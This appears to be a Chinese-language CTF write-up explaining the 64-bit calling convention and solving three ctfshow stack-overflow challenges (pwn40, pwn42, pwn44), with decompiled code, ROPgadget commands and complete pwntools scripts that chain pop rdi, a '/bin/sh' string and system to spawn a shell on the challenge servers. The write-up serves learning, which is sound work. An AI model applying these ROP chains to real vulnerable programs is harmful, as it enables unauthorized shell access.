写在前面:这种类型的题其实不好归纳是ret2text还是ret2libc,我这里按照ctfwiki的分类方法,将存在完整可执行的system(bin/sh)后门函数的题型归纳为ret2text,将需要利用基本的ROP技术的题型归纳位ret2libc

我们知道,在32位系统下,参数是直接被放在栈上的,不需要寄存器,因此只需要简单的覆盖到后门函数地址即可,但是在64位系统下则不一样了

64位系统的函数调用约定

linux下64位系统采用System V AMD64调用约定,这里我会在阅读完CSAPP第三章后做更加详细的解释,下面是一些简要解释

参数传递方式

参数编号 寄存器
第 1 个 RDI
第 2 个 RSI
第 3 个 RDX
第 4 个 RCX
第 5 个 R8
第 6 个 R9

函数的前六个参数从右往左先被存入寄存器,再通过call调用函数

foo(1, 2, 3, 4, 5, 6, 7);

mov rdi, 1
mov rsi, 2
mov rdx, 3
mov rcx, 4
mov r8, 5
mov r9, 6
push 7 #第七个参数压入栈
call foo

有system函数和bin/sh字符串

eg1:ctfshow pwn40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(asc_400828);
puts(asc_4008A0);
puts(asc_400920);
puts(asc_4009B0);
puts(asc_400A40);
puts(asc_400AC8);
puts(asc_400B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&64bit");
ctfshow();
puts("\nExit");
return 0;
}


1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32uLL);
}

ctfshow函数存在明显栈溢出,偏移量为0xA+0x8

左侧的函数窗口是有system函数的,我们可以看到它在plt表里的地址

我们找的是plt表的地址,而不是got表,两个地址有一定要区别开

了解完延迟绑定我回来补充一下:这里got表里的offset system并不是system的真实地址,

shitf加f12查看字符串,存在bin/sh字符串

下面的是就很简单了,首先是把bin/sh字符串传到第一个寄存器rdx里,然后想rdi寄存器指向system函数即可

用之前讲的ROPgadget指令找到pop rdi

1
2
3
ROPgadget --binary pwn --only "pop|ret"|grep rdi

ROPgadget --binary pwn --only "ret"

为了栈对齐,我们必须在pop rdi后加一个ret

exp如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show', 28105)
payload = b'a'*(0xA+8)
payload += p64(0x4007e3) #pop rdi
payload += p64(0x400808) #bin/sh
payload += p64(0x4004fe) #ret
payload += p64(0x400520) #system
io.sendline(payload)
io.interactive()

成功执行system bin/sh

有system函数和sh字符串

eg2:ctfshow pwn42

这个题的payload和pwn40一模一样,具体参考之前写的初识ret2libc(32位),考点还是用sh替代bin/sh字符串,无非是改了几个地址而已,因此不再贴题目内容和具体过程了

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show', 28103)
payload = b'a'*(0xA+8)
payload += p64(0x0000000000400843) #pop rdi
payload += p64(0x0000000000400872) #用sh替代bin/sh
payload += p64(0x000000000040053e) #ret
payload += p64(0x0000000000400560) #system
io.sendline(payload)
io.interactive()

有system函数无bin/sh字符串

eg3:ctfshow pwn44

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("get system parameter!");
ctfshow();
return 0;
}
1
2
3
4
5
6
__int64 ctfshow()
{
char v1[10]; // [rsp+6h] [rbp-Ah] BYREF

return gets(v1);
}

左侧存在system函数,按空格进入反汇编界面

查看字符串,发现没有bin/sh

我们依然要用之前打的pwn43用的套路,即用sendline传入bin/sh

依然是在main函数下断点,按r运行后,用vammp找到可读可写可执行段,存在buf2参数可以供我们写入bin/sh字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show', 28146)
offset = (0xA+8)
system_addr = 0x400520
gets_addr = 0x400530
rdi_addr = 0x4007f3
ret_addr = 0x4004fe
buf2_addr = 0x602080

payload = b'a'*offset

payload += p64(rdi_addr)
payload += p64(buf2_addr)
payload += p64(ret_addr)
payload += p64(gets_addr)

payload += p64(rdi_addr)
payload += p64(buf2_addr)
payload += p64(ret_addr)
payload += p64(system_addr)

io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

依然要注意,调用函数前,必须先用pop rdi设置好寄存器,因此参数必须放在gadget后面